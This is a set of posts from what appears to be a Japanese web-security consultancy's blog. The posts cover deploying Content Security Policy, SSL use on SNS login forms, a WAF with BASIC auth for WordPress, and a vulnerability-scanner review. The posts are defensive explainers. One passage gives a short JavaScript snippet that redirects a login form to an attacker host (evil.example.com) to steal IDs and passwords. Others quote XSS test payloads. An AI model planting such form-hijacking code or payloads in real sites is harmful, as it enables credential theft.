2013年12月6日金曜日

弊社のホームページにContent Security Policy(CSP)を導入しました

弊社のホームページにCSP(Content Security Policy)を導入しました。CSPについては、はせがわようすけ氏のスライド「5分でわかるCSP」がわかりやすいと思います。以下にスライドの一部を引用します。



具体的には、以下のように指定して使います。
Content-Security-Policy: default-src 'self'
この結果、以下のようにJavaScriptの記述が制限されます。
  • 外部のJavaScriptの読み込みは禁止
  • HTMLソースに記述した<script>...</script>のJavaScriptは禁止
  • イベント属性(onload="xxxx"など)は禁止
何も書けなくなるじゃないかと思われるかもしれませんが、JavaScriptは全て*.jsファイルに記述すればよい、ということです。
CSPは、JavaScriptのコードとデータを分離して、コードは静的な*.jsファイルに記述、可変のデータはHTML側に寄せて、「可変のリソースにはJavaScriptを記述できないように制限する」ことで、クロスサイト・スクリプティング(XSS)防御の切り札となることが期待されています。

CSP導入にあたり、弊社ホームページのJavaScriptの使用状況を調べました。その結果は以下の通りです。
  • JavaScriptは基本的に使っていない
  • 外部から読み込むJavaScrpitはある(下記)
ということで、外部から読み込んでいるJavaScriptの取捨選択を行いました。その結果、
  • Google Analyticsは残すこととして、CSP上の許可設定をする
  • Slideshare、YouTube、Vimeoは許可しないこととし、これらを使うコンテンツはオフィシャルブログ(ここ)に転載する
ことにしました。この結果、CSPの設定は下記のように、Apacheの設定で行いしました。
Header Add Content-Security-Policy "default-src 'self' https://www.google-analytics.com"
しかし、これだけでは駄目です。Google Analyticsの設定は、以下のようなJavaScriptがHTMLインラインスクリプトで記述されています。
<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-XXXXXXX-X', 'hash-c.co.jp');
  ga('send', 'pageview');
</script>
これだとCSPのエラーになるので、上記スクリプトを/ga.jsというファイルに記述して、<script src="/ga.js"></script>により読み込むようにしました。これが正常に動作することは、Google Analyticsのリアルタイムレポートで確認しました。

上記を実施してテストしてみると、スタイルシートのところでエラーになりました。弊社ホームページのCSSは、大部分が/default.cssに記載されていますが、一部のCSSがインラインで記述されていました。これはスタイルの微調整のためです。インラインCSSを許可するようにしてもよいのでしょうが、せっかくなので、インラインスタイルシートを外部スタイルシートに移動し、ID属性で指定するようにしました。インラインスタイルシートはまだ一部残っていますが、画面が大きく乱れるものは対応したつもりで、残りはおいおい対応する予定です。

ということで、実施した内容は以下の通りです。
  • SlideShare等を使用しているコンテンツをオフィシャルブログに転載
  • Google Analyticsのスクリプトを/ga.jsに記載
  • Google Analyticsを設定したページを/ga.jsの読み込みに変更
  • インライン・スタイルシートを外部スタイルシートに変更
CSP対応の結果、副作用が生じました。Pocket(旧称: Read it later)のアドオン(Save to Pocket)の表示が乱れます。エラーメッセージを見ると、インラインスタイルが拒絶されているようです。コンテンツの保存はされていますが、見た目非常にまぎらわしい状況です。このような例は他にもあると予想されます。EvernoteのEvernote Web Clipperは問題なく使えました。

CSP対応の所感ですが、サイト独自のJavaScriptを使っていないサイトであるにも関わらず、CSP対応はかなり面倒な作業だという印象を受けました。やはり、インラインでJavaScriptやCSSが記述できないと「めんどうくさい」。しかし、インラインJavaScriptを許可してしまうとCSPのXSS防御機能は意味がなくなりますので、これは我慢するしかないでしょう。

中期的には、jQueryなどのJavaScriptライブラリや、Google AnalyticsやSlideShareなどから読み込むコンテンツが、CSP前提で使いやすい形に改善されることを期待します。

2013年8月26日月曜日

バラクーダネットワークスジャパンのセミナー(名古屋)で講演します

8月29日バラクーダネットワークスジャパン株式会社の「企業公開サイトのセキュリティ対策セミナー」にて講演致します。まだ若干お席があるようですので、ご案内いたします。

日時:2013年8月29日(木曜日)14:30~16:45(徳丸の出番は14:30~15:15)
場所:ウィンク愛知(愛知県産業労働センター)愛知県名古屋市中村区
費用:無料(申し込みはこちら
講演タイトル:事例に学ぶWebサイト侵入事件手口と効果的な対策について

場所は名古屋駅から徒歩5分のところだそうで、名古屋近辺の皆様にお目にかかれることを楽しみにしています。
講演の内容は、最近の侵入事例や侵入に多く用いられている攻撃手法を題材として、侵入のメカニズムと防御の基本的な考え方を説明いたします。

講演概要:
  • Webサイトへの侵入事件のトレンド
  • 侵入経路は2種類しかない
  • 侵入の手口と対策
    1. phpMyAdminの脆弱性による侵入
    2. SQLインジェクションによる侵入
    3. パスワードリスト攻撃
  • まとめ

2012年12月30日日曜日

日本3大SNSのログイン画面について、SSL利用状況を検証する

このエントリは弊社メールマガジンの第一号(2012年4月27日発行)の記事の転載です。入力フォームをSSLにしないことの問題が話題となっていますので、読者の参考のため公開するものです。
この件に関連して、私はtwitterで以下のようにつぶやきました。
こう説明すれば良い。『通信内容は、正常時には暗号化されますが、攻撃により暗号化が回避される可能性があります。攻撃を受けていないときは暗号化され、個人情報はもれないので、ご安心ください』
 https://twitter.com/ockeghem/status/285230605359276032
当然ながら、攻撃を受けていない状況では暗号化は必要ないわけで、上記の「ご安心ください」は無意味です。入力フォームをSSLにしないというのは、つまりそういうことです。


twitterを見ておりましたら、gree.jpのIDとパスワード入力画面がSSLでないという話題を見かけました。確認してみると、確かに入力画面ははSSLでなく、送信先ページはSSLで、ログイン後は非SSL(HTTP)のページに戻ります。

既に、高木浩光氏の日記『SSLを入力画面から使用しないのはそろそろ「脆弱性」と判断してしまってよいころかも』などに説明されているように、SSLを使う場合、入力画面からそうするべきという原則は既に浸透してもよさそうなものですが、必ずしもそうではないのが現状です。このため、gree以外も調べてみることにしました。greeの同業者、mixi、モバゲーをあわせて3大SNSの調査です。

【結果】PC版
  • gree: 入力画面は非SSL 送信先はSSL(ただし、標準を選択すると、共に非SSLに)
  • mixi: 入力、送信先共に非SSL(ただし、SSLを選択すると、共にSSLに)
  • モバゲー(Yahoo!mobage): 入力、送信先共にSSL

ついでに、スマートフォン版Webについても調べました。

【結果】スマートフォン版
  • gree: 入力画面は非SSL 送信先はSSL
  • mixi: 入力、送信先共に非SSL(ただし、SSLを選択すると、共にSSLに)
  • モバゲー: 入力、送信先共にSSL
4月末に調べた際は、greeのスマートフォン版サイトは共に非SSLだったのですが、先程調べたら送信先はSSLになっていました。

送信先のみSSLはgreeだけ

上記のように、入力画面が非SSLで、送信先がSSLという組み合わせはgreeのみでした。この組み合わせは良くないといわれています。その理由は2つあります。

まず、入力画面が非SSLであると、なりすまし画面を見分けることが難しくなります。DNSキャッシュポイズニングやARPスプーフィング攻撃により、利用者が正しいドメイン名を指定しても、ブラウザに表示される画面が偽物ということはあり得ます。実際、2008年にさくらインターネットのホスティングサーバーにてARPスプーフィング攻撃による不正コード挿入の問題が発生しています。

参考:さくらインターネットの一部ホスティングサーバーに不正コード挿入の被害

このような場合でも、SSLを使っているページでは、攻撃を防止することが出来ます。

(1)中間者攻撃の場合はブラウザが証明書エラーを表示するので利用者が気づく
(2)中間者攻撃でない場合は改ざん・盗聴ができないので被害に至らない

入力画面からSSLにすべきという2番目の理由は、そうしないとSSLの効果が大きく損なわれるからです。
入力画面に重要情報がなく、盗聴によるリスクがあまりない場合でも、入力画面を改ざんされるリスクはあります。この場合、たとえばform要素のaction属性(送信先)を書き換えるという攻撃があり得ます。例えば、ログイン画面のform要素が以下の場合、

<form name="login" action="https://example.jp/logindo.php" method="post">

action属性を http://evil.example.com/ (攻撃者のサイト)と変更することで、重要なIDとパスワードを盗むことが出来ます。利用者がこれを確認することは非常に困難です。例えば攻撃者は、action属性を変更をぎりぎりまで遅らせることが出来ます。以下のJavaScriptは、ログインボタン押下時にaction属性を変更する例です。
  document.login.onsubmit = function() { 
    document.login.action="http://evil.example.com/";
  }
このスクリプトをHTMLのどこかにしのばせることにより、利用者が送信先変更に気づくことを防ぐことが出来ます。利用者が、このような「仕掛け」に気づくことは困難です。

このように、せっかくSSLを使うのであれば、入力画面からSSLにしないと意味がありません。脆弱性診断の際にこの種の問題が見つかった場合、多くの診断業者は脆弱性判定するでしょう。危険度は低~中というところでしょうか(ベンダーにより差異があります)。

SSLをまったく使わないのはどうか

一方、SSLをまったく使わない場合、「好ましくはないが脆弱性とまでは言えない」という判定になります。これは、とまどう人が多いことでしょう。「送信先がSSLであれば盗聴されることはないのに脆弱性と判定され、まったくSSLを使わない場合より『悪い』とはどういうことだろうか」という疑問が生じます(実際には盗聴のリスクはありますが素朴な疑問としてこう書いています)。

この疑問に対しては、以下のように回答することができます。SSLを使わないサイトは、盗聴のリスクを受容していると解釈できます。この場合、SSLを使わないこと自体は脆弱性とは言えません。一方、SSLを使っているサイトは、盗聴のリスクが受容できないと判断しているはずです。この場合、SSLの使い方が不完全なために盗聴等のリスクが生じる場合は、脆弱性と判断することになります。

SSL使用が要求あるいは強く推奨されるケース

上記は一般論ですが、サイトの特性によってはSSLの使用が要求される、あるいは強く推奨されます。下記のケースでは、SSLを使っていないとポリシー違反(脆弱性)となります。
  • PCI DSSなど通信の暗号化を要求するスタンダードに準拠する場合
  • サイトを運営する企業・団体のセキュリティポリシーでSSLの使用を要求している場合
  • プライバシーポリシーでSSLの使用を明示あるいは暗号化通信などを約束している場合
以下に、PCI DSSの4.1項を引用します。SSLなどネットワークの暗号化が要求されています。
4.1 オープンな公共ネットワーク経由で機密性の高いカード会員データを伝送する場合、強力な暗号化とセキュリティプロトコル(SSL/TLS、IPSEC、SSHなど)を使用して保護する。
前記「3大SNS」のプライバシーポリシーを確認したところ、SSLないし暗号化という言葉は使っていないようです。このため、「SSLでないからと言って脆弱性とまではいえない」と考えられます。

また、スマートフォン向けのWebサイトでは、公衆無線LANを使うケースが多く信頼できない無線LANアクセスポイントにつないでしまうリスクも現実的であることから、通常のサイトよりも、SSLの使用を積極的に判断した方がよいでしょう。

また、SNSの利用局面を考えると、近年はWi-Fiでの利用が増えていることから、SSLの利用範囲を広げることが望ましいと考えます。

ロリポップ上のWordPressをWAFで防御する方法

(2013/08/29)追記
ロリポップ上のWordPressが不正アクセスされる事例が増えているようです(参考)。現時点で侵入経路等は明らかでありませんが、以下に説明する方法で、公開ページに対するSQLインジェクション攻撃や、管理コンソールに対する不正ログインに対しては、かなり効果があると考えられます。ユーザーの参考になれば幸いです。また、タイトルを変更しました。
追記終わり

今年の9月27日から、ロリポップのレンタルサーバーの全プランで、WAF(SiteGuard Lite)が標準装備されるようになりました。
http://lolipop.jp/waf/より引用

これは大変良いことですね。インターネット上のすべてのサイトが攻撃の対象ですし、被害も増えている印象があります。ロリポップについても、今年の5月に攻撃を受けたという報告がいくつかあります。たとえば、これ。
今年5月に発表されたCGI版PHPのリモートスクリプト実行の脆弱性(CVE-2012-1823)が狙われたのではないか推測されています。
既に当該脆弱性はロリポップ側で対処が終わっていますが、今後新たな脆弱性が発見されたり、アプリケーションのSQLインジェクション脆弱性などが狙われる可能性もあるので、WAFによる防御は有効です。

レンタルサーバーを利用するサイトは予算が十分でないことが多く、セキュリティにお金がかけられない場合が多いでしょう。共通設備のセキュリティはレンタルサーバー事業者が責任を持って対処すべきですが、CGIプログラムやPHPスクリプトなどはレンタルサーバー利用者の責任で脆弱性対処すべきところ、なかなかそこまで手が回らないというのが実態ではないでしょうか。ということで、良かったなぁと思っていたところ、以下のような話をよく目にするようになりました。

ロリポップ!でWordPressを導入すると403エラーになるので、その場合はWAFを停止するといいよ

ざっとググっても以下のように幾つも出てきます。
なんということでしょう。せっかくのWAFがこういう理由で止めらてしまうなんて、もったいない。そのうちロリポップ!を契約したらまずWAFを停止すべしなんてバッドノウハウが広まってしまうかもしれませんし、既にそうなっているかもしれません。

ということで、ロリポップ!とも、運営会社の株式会社paperboy&co.さんともなんの関係もないのですが、SiteGuard職人としてこの事態を放置することができず、WAFを有効にしたままWordPressを運営する方法を考えましたので紹介します。

基本的な考え方

一般的に、WAFが「正常なリクエスト」まで拒否してしまう現象を誤検知、過剰検知、False Positive、偽陽性といいます。誤検知があると、正常な運用ができなくなるので困ります。この場合、通常はWAFのチューニングで、誤検知がない状態にします。簡単なチューニングとしては、誤検知を起こしているルール(シグネチャ)を無効にするなどで、誤検知がないようにします。
しかし、ロリポップ!のWAF設定は、ドメイン単位で有効・無効の設定しかありません。このため、「サイト全体でWAFを無効にする」しかないと思うのも無理はありません。
しかし、以下のようにすれば、WAFを最大限に有効活用できると考えました。
  • ドメインを閲覧用と管理用で分ける
  • 閲覧用のドメインはWAFで防御する
  • 管理用のドメインはWAFは無効にして、BASIC認証で防御する
ロリポップ!のプランのうち、WordPressが利用できるのはロリポプラン以上ですが、この場合共有SSLを使うことができます。このため、以下のようにすればよいと考えました。
  • 閲覧用のドメインはHTTPとして、独自ドメインかロリポップ!の用意したサブドメインで運用する。このドメインはWAFで防御する
  • 管理用のドメインは共有SSLとして、BASIC認証で保護し、WAFの設定は外す
いい感じですね。管理画面をSSLで運用すると、スタバでコーヒーを飲みながらWi-FiサービスでWordPressのメンテンスをするなんて際も安心です。WAFの件がなくても、そうしたほうがいいですね。
以下、具体的な設定方法を説明します。

検証用サイトの前提説明

検証用にロリポップ!のお試しをお借りして、コンテンツはなんでも良かったのですが、「千葉県浦安市が東京都浦安区になった」という想定の偽サイトをでっちあげてみました。


このサイトのドメイン名は下記となります。
  • 閲覧用:http://www.urayasu.tokyo.jp/
  • 管理用:https://oops-ock.ssl-lolipop.jp/

WordPressの管理画面をSSL対応にする

WordPressの管理画面をSSL対応するには、「WordPress HTTPS」というプラグインが便利です。導入するには、WordPressの管理画面(ダッシュボード)から、プラグイン|新規追加というメニューを選択し、httpsというキーワードで検索するとすぐ出てきます。「いますぐインストール」というリンクをクリックしてインストールしましょう。


プラグインのインストールが完了すると以下の画面になります。「プラグインを有効化」をクリックします。


その後、プラグインの一覧からWordPress HTTPSのSettingsをクリックすると以下の画面が表示されます。


上記のように、SSL HostにURL(HTTPSのホスト)を入力し、「Force SSL Administration」と「Force SSL Exclusively」にチェクを入れ、「Save Changes」をクリックします。これで、WordPressの管理画面がHTTPSでアクセスするようになります。

BASIC認証を設定する

次に、BASIC認証を設定します。まず、FTP画面(Webツールロリポップ!FTP)で .htaccess というファイルがあるかどうかを確認して、ある場合は内容をコピーしておきます。
次に、Webツール|アクセス制御メニューをクリックして以下の画面から、新規作成ボタンをクリックします。


以下の画面が表示されるので、認証フォームタイトルを適当に入力(下記例ではPlease Login)して、ユーザ1にアカウント名とパスワードを入力します。WordPressに設定したパスワードとは別のパスワードを設定するとよいでしょう。


入力を確認して、「作成」ボタン(画面下部)をクリックします。

以上でBASIC認証の設定は終わりですが、ここから .htaccess をカスタマイズします。FTPツールで、.htaccessを開くと、以下の様な内容が入っているはずです。1行目のパス名は少し違うはずです。

AuthUserFile /home/users/1/oops.jp-ock/web/.htpasswd
AuthGroupFile /dev/null
AuthName "Please Login"
AuthType Basic
require valid-user

ここに、追記して以下のようにします(青字が追記部分)。

AuthUserFile /home/users/1/oops.jp-ock/web/.htpasswd
AuthGroupFile /dev/null
AuthName "Please Login"
AuthType Basic
require valid-user

SetEnvIf Host "^www.urayasu.tokyo.jp$" allow_host
SetEnvIf Host "^urayasu.tokyo.jp$" allow_host
order deny,allow
deny from all
allow from env=allow_host

satisfy any

「SetEnvIF Host」のホスト名は貴サイトのものに置き換えてください。上記は、BASIC認証で通るか、ホスト名がwww.urayasu.tokyo.jpあるいはurayasu.tokyo.jpの場合にアクセスできるという設定です(SetEnvIfは複数書いても構いません)。これにより、閲覧用ドメインは認証なしで、管理用ドメインはBASIC認証ありでアクセスという設定を実現しています。

最後に、元々.htaccessに設定があった場合は、その内容は消えているはずなので、あらかじめコピーしておいた内容を上記の下にペーストして復元しておきます。最後にFTPツールの「保存する」ボタンをクリックして内容をセーブします。

WAFの設定を変更する

次に、WAFの設定を変更します。ロリポップ!のユーザ専用ページからWebツール|WAF設定を選び、以下の画面を表示します。管理用ドメイン(以下の画面ではhttps://oops-ock.ssl-lolipop.jp/)のみを「無効にする」をクリックして以下の状態にします。


以上で、BASIC認証の設定とWAFの設定が終わりました。

試してみる

設定が終わりましたので、利用者として該当ページを閲覧してみましょう…以下のように、とくに認証を求められることもなく普通にアクセスできます。大丈夫ですね。


WAFの効き目を確かめるために、URL末尾に ?a=<script>alert(1)</script> を追加してアクセスしましょう。下記のように、403 FORBIDDENとなり、WAFが働いていることがわかります。


この403ページはロリポップ!標準のものですが、カスタマイズして変更したほうがよいでしょうね。
次に、管理画面に移りましょう。元のページに戻り、メタ情報ログインをクリックします。下記のように、BASIC認証のユーザ名とパスワードの入力画面が表示されます。


先に登録したユーザ名とパスワードを入力してOKボタンをクリックすると、ワードプレスのログイン画面になります。ログインが2回出てウザい感じですが、WordPress自体を守りたいため、これは仕方ありません。ブラウザにパスワードを記憶させても良いので、このBASIC認証はかけるべきです。そうでないと、WAFの防御が無意味になってしまいます。


WordPresにログインしてから、先ほど同様URL末尾に ?a=<script>alert(1)</script>を追加してアクセスしてみます。以下のように、403にならず、通常通り使用できます。WordPressのダッシュボードはWAFの防御が無効になっていることがわかります。


注意事項

WordPressのダッシュボードはBASIC認証で守られているので、SQLインジェクションなどの能動的攻撃を受けることはなくなります。しかし、クロスサイトスクリプティング(XSS)のような受動的攻撃は受ける可能性があります。
このため、WordPressのダッシュボード作業は、いつも使っているブラウザとは別のブラウザを用い、作業終了後すぐにブラウザも終了させることにより、受動的攻撃のリスクを最小限に留めることができます。
また、ロリポップ!に導入されているWAFはSiteGuard Liteという簡易版のWAFなので、おもにSQLインジェクションとXSSに特化した防御機能であり、WordPress固有の脆弱性に対してはシグネチャはありません。このため、定期的にダッシュボードを確認して、プラグインなどを最新の状態に更新することが重要です。

また、一般ユーザがコメントを付ける場合は、WAFの防御機能が有効なので、タグを使って入力した場合にWAFが誤検知する可能性はあります。私がWordPressのコメント欄で許可されているタグをひと通り試した範囲では検知はされませんでした。

まとめ

ロリポップ!のWordPressとWAFが干渉して誤検知が発生するという問題に対して、WordPressの管理画面(ダッシュボード)のみWAFを無効化して、一般利用者の閲覧する画面についてはWAFによる防御を有効化する方法を説明しました。
貴サイトの安全性強化の参考になれば幸いです。

PR

HASHコンサルティング株式会社では、WAFの選定、導入、運用のサービスを提供しております。WAFの誤検知に対しても、防御機能を最大限活かした状態でのチューニングが可能です。詳しくは弊社ホームページをご参照ください。

2012年10月10日水曜日

[PR]日本ベリサインの「脆弱性アセスメント」機能を使ってみた

重要事項説明

本稿は、HASHコンサルティング株式会社が、日本ベリサイン株式会社から依頼を受けて「脆弱性アセスメント」を評価し、その結果を執筆した記事広告です。

はじめに

日本ベリサインの提供する「EV SSL証明書」または「グローバル・サーバID」を購入すると、「脆弱性アセスメント」の機能(以下、脆弱性アセスメント)が無償で提供される。この脆弱性アセスメントを実際に使ってみたので報告する。

脆弱性アセスメントとは何か

脆弱性アセスメントはインターネット上のWebサイトから、登録対象サイトを指定して行う。いったん登録すると、自動的に週1回脆弱性診断を実施してレポートが作成される。その流れを下図に示す。


① ベリサインのサイトから診断を起動
② 対象サイトに診断を実施
③ 診断終了のメール通知
④ ウェブサイト管理者は管理者サイトにて診断レポートを受け取る

使ってみる

診断の設定は、管理者サイトから行う。サービスアグリーメントに同意して、「Activate Scanning Service」ボタンをクリックする。すると24時間以内(実際には数時間以内)に脆弱性スキャンが始まる。今回の試用では、オープンソースのアプリケーション(phpMyAdmin、MovableTypeなど)を導入して現実に近い環境で診断したが、診断は開始後1時間程度で終了していた。



 診断が終了するとメール通知が来るので、ベリサインのWebサイトから「Download vulnerability report」というリンクをクリックしてレポートをダウンロードする。


なお、上図の下部に「Request On-Demand Scan」というボタンがあるが、これは、重大な脆弱性を発見した場合に表示され、これをクリックすると、定期的な診断を待たずに診断を開始する。レポートの脆弱性を対策した後に、再診断する際にこのボタンを用いるとよい。

結果

ここでアセスメントの結果レポートを見てみよう。 利用者がまず確認するのは、診断結果サマリだ(下図)。



 ご覧のように、脆弱性は危険度に応じてCritical(高危険度)とInformational(情報)に分類されている。脆弱性診断ツールの中には、危険度が5段階程度に細かく表示されるものも多いが、利用者に必要な情報は「対策が必要か否か」という判断なので、この二段階表示は分かりやすいと感じた。ただし、Informationalの中にも対処した方がよいものが含まれる場合があるので、最初に検出された時に内容を確認した方がよいだろう。
 縦の分類は、Web、アプリケーション、データベースなど脆弱性の発生箇所の分類だが、ここでは具体的な説明は割愛する。

 ここで、Criticalの脆弱性の一覧を見よう。下図のように、9種類の脆弱性が報告されている。表右端の「Vulnerability Details」の欄はリンクになっていて、 各脆弱性の詳細説明にジャンプすることができる。



 紙面の関係で、いくつかの脆弱性をかいつまんで紹介する。
 まず、VA-001の詳細の冒頭は下表のようになっている。「Cross Site Scripting」とあるように、クロスサイトスクリプティング(XSS)脆弱性であることが分かる。


 表の意味は、脆弱性のIDがVA-001、脆弱性の発生した場所がアプリケーションであること、脅威の内容が認証情報の盗難(セッションハイジャック)、脆弱性の発生要因が安全でないプログラミングにあることを示している。
 表をさらに見ると、Technical Detailsとして脆弱性の発生箇所が示される。具体例を以下に示す。
Vulnerable URL: http://www.dwd.jp/login.php?url=/itemlist.php<Script>alert
("HelloSIG")</Script>
HTTP request method: GET
Response Snippet: <Script >alert("HelloSIG")</Script>
上記から、脆弱性のあるスクリプトが/itemlist.phpであり、パラメータがクエリ文字列urlであることがわかる。この情報は、開発者が脆弱性を再現し、対策する上で役に立つ。対策方法はこのレポートにも簡単に説明しているが、IPAの「安全なウェブサイトの作り方」などを参考にするとよいだろう。
 試験環境ではトップページから5階層たどった場所にもXSS脆弱性があったが、正しく指摘されていた。ある程度深いところまでクロールを行っていることが伺えるが、検査の網羅性については保証されていないので、診断がもれる可能性はある。
 同様に、このレポートではSQLインジェクションも報告されている(VA-002)が詳細は割愛する。
 次に、VA-006を紹介する。詳細レポートの冒頭は以下の通りである。



 この脆弱性は、MySQLのデータベースを管理するツールの中でも特に使いやすいことで人気の高いphpMyAdminの脆弱性である。この表を下にたどってVulnerability Details欄を見ると、リモートからコードが実行可能であるという簡単な説明があるが、さらにVA-006のリファレンス情報を参照すると、CVE-2011-2505~CVE-2011-2508が該当することがわかる。このCVE番号を元に、JVN iPedia(IPAが運営している脆弱性データベース)を検索することで、脆弱性の詳しい内容を日本語で読むことができる。

 次に、「Appendix A - Environment Information」からポートスキャンの結果を紹介する。ポートスキャンとは、診断対象サーバーに実際にネットワークアクセスして、活動中のポート番号とサービスの種類、ソフトウェアの種類とバージョン等を確認したものである。



 ポートスキャンの内容はサーバーの役割毎に異なるので、正常・異常の区別はなく、あるがままの内容が表示される。レポートの読者は、本来のサーバーの役割から必要最小限のポート番号を基準として、レポートの表示内容が基準と相違ないかを確認すると良い。とくに、気をつけたいのが「本来公開する必要のない」はずのポートである。Webサーバーの場合、HTTPの80とHTTPSの443は必要だが、これら以外のポートが開いていると、不要なポート・サービスである可能性がある。
 この例では、MySQL (3306ポート)とPostgreSQL (5432ポート)は通常公開する必要のないポートである。また、FTP(21ポート)とtelnet(23ポート)はセキュリティ上の問題が生じやすいので、22ポートで動作するsshとscpで代替するべきである。このように、ポートスキャンの結果を精査することで、セキュリティ上の問題点を把握し、改善につなげることができる。

評価・まとめ


 日本ベリサインの脆弱性アセスメントを試用した。当アセスメント機能は、定期的に(毎週)、対象サイトに影響(負荷やごみを残すようなマイナスの影響)を与えずに診断をすることが特徴である反面、診断の精度についてはツール診断であるための限界があるようである。具体的には、脆弱性ではないものを脆弱性と判定する「誤検知」や、脆弱性が実際にはあるのに検出しない「検知漏れ」の可能性がある。これらは、未知のサイトに対して外部から診断するツールの特性上、原理的にゼロにはできない。
 しかし、毎週という高い頻度で定期的に診断することのメリットは大きい。なぜなら、脆弱性管理の以下の課題に対応するためには、定期的な診断が有効であるからだ。

  • 脆弱性情報は日々更新されているので、サイトを脆弱性のない状態にしていても、ある日突然脆弱性のある状態に変わる
  • 設定・更新作業などで、誤って脆弱な設定(不要なポートを公開してしまう等)になる可能性は常にある

 このため、日本ベリサインの証明書を購入すれば利用できる「脆弱性アセスメント」機能を有効活用すれば、追加コストを掛けずに脆弱性管理の有力なツールが得られると言えるだろう。

2012年6月26日火曜日

インフィニテック社のセミナーで基調講演します

7月5日株式会社インフィニテックの「第4回 セキュリティ&コンプライアンスセミナー 2012」で基調講演致します。

日時:2012年7月5日(木曜日) 14時00分~17時00分(徳丸の出番は14:10~15:10)
場所:KDDIホール(東京都千代田区)
費用:無料(申し込みはこちら
講演タイトル:日本のWebセキュリティの過去、現在、そして将来

すごく汎用性の高いタイトルにしてしまいましたが、アジェンダは以下のように考えています。

(1)日本のWebセキュリティの事情
  • インターネットはグローバルなものだが日本固有の事情はあるか?
  • 文字コードの問題
  • ケーススタディ:“ガラパゴス”ケータイのセキュリティ
(2)日本のWebの守りはどうか
  • Webアプリケーション脆弱性の彼我の違い
  • WAFに関する失望と期待
(3)日本のWebセキュリティの現状と将来
  • 現状と将来に対する私見
  • クラウド、スマートフォン、HTML5はどうか
  • OWASP Japanの紹介
  • まとめ
セミナー全体のテーマが「今だからこそ日本発セキュリティソリューション“頑張ろう!メイドインジャパン”」ですので、日本のWebセキュリティどーよということで内容を考えました。
日本固有の話題としては、やや旧聞になりつつあり、しかしまだ現実の課題であるケータイWebのセキュリティも取り上げようと思います。
すみません、OWASP Japanで「多分最後になる」と書いてしまいましたが、もったいないのでもう一回します。DNS Rebindingやら、KDDIの新ゲートウェイの問題点(解決済み)も実演ビデオを流そうと思います(これらはOWASPでもやります)。

2012年6月18日月曜日

HASHコンサルティングメールマガジン第3号を配信しました

HASHコンサルティングメールマガジン第3号を配信しました
  • 徳丸の動静
  • 最近のブログ記事から
  • 解説コラム:キャッシュ制御不備は脆弱性なのか
  • 解説コラム:パスワード保護再考
  • 自伝:第3回:XSS Niteに参加したい
  • 宣伝:月10万円からの顧問契約
お申し込みは、こちらから。申し込み頂くと配信済みのバックナンバーのURLとパスワードが送信され、お読み頂けます。

フォロワー